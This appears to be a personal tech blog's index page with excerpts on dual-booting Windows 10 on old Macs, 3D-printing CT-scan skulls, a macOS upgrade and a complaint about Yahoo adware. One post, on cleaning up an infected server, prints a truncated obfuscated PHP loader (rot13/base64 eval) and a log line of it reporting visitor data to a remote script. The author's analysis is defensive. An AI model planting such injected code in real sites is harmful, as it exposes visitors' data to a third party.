Dear Diary: Windows 10 on early Intel Macs

A local eRecycler is enabling me to develop kind of a thrilling computer-hording neurosis. I’ve managed to score 4 17″ MacBook Pros and 2 15″ units ranging from 2006-2008 vintages and it’s cost me very little. Some of these have serious problems, no matter, I’m having fun.

The 2008 Macs top-out at macOS 10.11, which is good for now. There’s some room to bump them over the edge in to Sierra, though I’m kind of pissed at Apple’s business model at the moment. I feel they’ve kind of abandoned the desktop entirely and the old machines are getting shafted the hardest. Granted they ARE old, Moore’s Law’s been on vacation for a while now. I guess we live in a sad world and anyone who buys a new Mac Pro will arrive in this well-populated sad space in about a year. 4,5,6 Apple. Seriously wtf? I know.. I know, it’s just business and the best margins are mobile. But I seriously digress.

These old machines that max out at 4-6GB of RAM. Microsoft sells new machines running Windows 10 on 2GB of RAM. I’m sure they lick the well-toned ass of satan (not a good thing, in my books). These wimpy new machines still have to at least pretend to work, which has a modicum of merit. So, disgustingly, Windows could become the best option for folks with ancient macs that won’t die. (Yes, there IS Linux. I’ve used Linux daily for ~17years, I love it. It’s complete shit on the desktop, if you wanna argue that, then you know, that’s cool, you’re welcome to be wrong. IT IS the Trump-era now, so anything goes)

I discovered that if you’re willing to commit a Windows License to a specific machine, then you can get a non-transferable license, called an OEM license for a vastly lower price. I actually talked with Microsoft’s online sales about this and they said they only sell the Retail version ($150) to end customers. The retail version has the notable merit of being a transferable license. I showed the Microsoft rep a kind of a greasy-looking OEM license vendor I found online. Microsoft’s rep didn’t call the OEM vendor a scam and said it is an actual option. So I think it’s fully legitimate, which actually matters to me. Ultimately, I found an OEM key from an ebay vendor that I think is legitimate for $7.50. I would think THAT would have to be scam, but there were hundreds of positive ebay reviews, guess we’ll see. $7.50 is a price I’ll actually pay, so here we go with Windows. My core hope is that Starcraft II run better enough under Windows to enable me to equip some friends who want to play with me, but lack systems that can swing it.

It’s been about 7 years since I goofed with native Windows on an Intel Mac, so I had to relearn a couple things and keep fighting. After many hours and lots of music, it seems I’ve got a nice dual boot setup going.

Here are my steps, if nothing else, I’m documenting them here so I can figure my way back through this shitshow again at a later date…

Continue reading Dear Diary: Windows 10 on early Intel Macs

Printing real skull models made from CT scans


About a year ago I processed raw CT data I acquired of a relative of mine and generated multiple 3D models. Since it was my first ever experience with 3D modelling, it took a while, but I figured it out and ended up with an intensely awesome model. Then I turned to my 3D printer and printed off a bunch of them. Suffice to say the whole thing lead to my designing and building of my second printer; the Delta Flyer.

Here’s a timelapse video of the DeltaFlyer printing yet another skull:

Battle against injected PHP

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=###
@error_reporting(E_ALL);
@ini_set("error_log",NULL);
...etc

$strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode");
$light =  $strings2($gbz.'("nJLtX...."));'); $strings($light);
//###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

- (127.0.0.1) - - [13/Nov/2016:14:01:20 -0700] "GET /get.php?ip=192.168.1.200&d=mysite.com%2Fclass-aptent-taciti-sociosqu-ad-litora%2F&u=Mozilla%2F5.0+%28iPhone%3B+CPU+iPhone+OS+7_0+like+Mac+OS+X%29+AppleWebKit%2F537.51.1+%28KHTML%2C+like+Gecko%29+Version%2F7.0+Mobile%2F11A465+Safari%2F9537.53+%28compatible%3B+bingbot%2F2.0%3B+%2Bhttp%3A%2F%2Fwww.bing.com%2Fbingbot.htm%29&i=1&h=85f7d3bd42bb5caa72817bcd75723fbc HTTP/1.0" 404 466 "-" "-"

After kind of a lot of effort, I came up with a script that purged this malware from my server’s file system. SUuuuuure I could have restored from backup, but that’s not nearly as interesting or dangerous.

Here’s the searchAndDestroy script I came up with.

MacPro3,1 upgrade to macOS Sierra

The time came to upgrade my trusty MacPro3,1 to macOS Sierra. As many know, El Cap is the latest build of OS X macOS that supports this platform. How to a MacPro3,1 on Sierra is well-documented, nevertheless this blog is half just a diary that I use to re-trace my steps later.

Continue reading MacPro3,1 upgrade to macOS Sierra

Boycott Yahoo!

Yahoo! used to be an awesome business that had a few products I used. But I’ve noticed lately when I install certain free utility applications, Yahoo! has managed to pepper-in their own adware.

Dear Yahoo!,

It’s time for a major course-correction. Either die entirely or get your crap together. Tricking people in to using your products is an impressively sketchy proposition. Cease and desist this despicable practice right now.

Yours truly,

The entire Internet.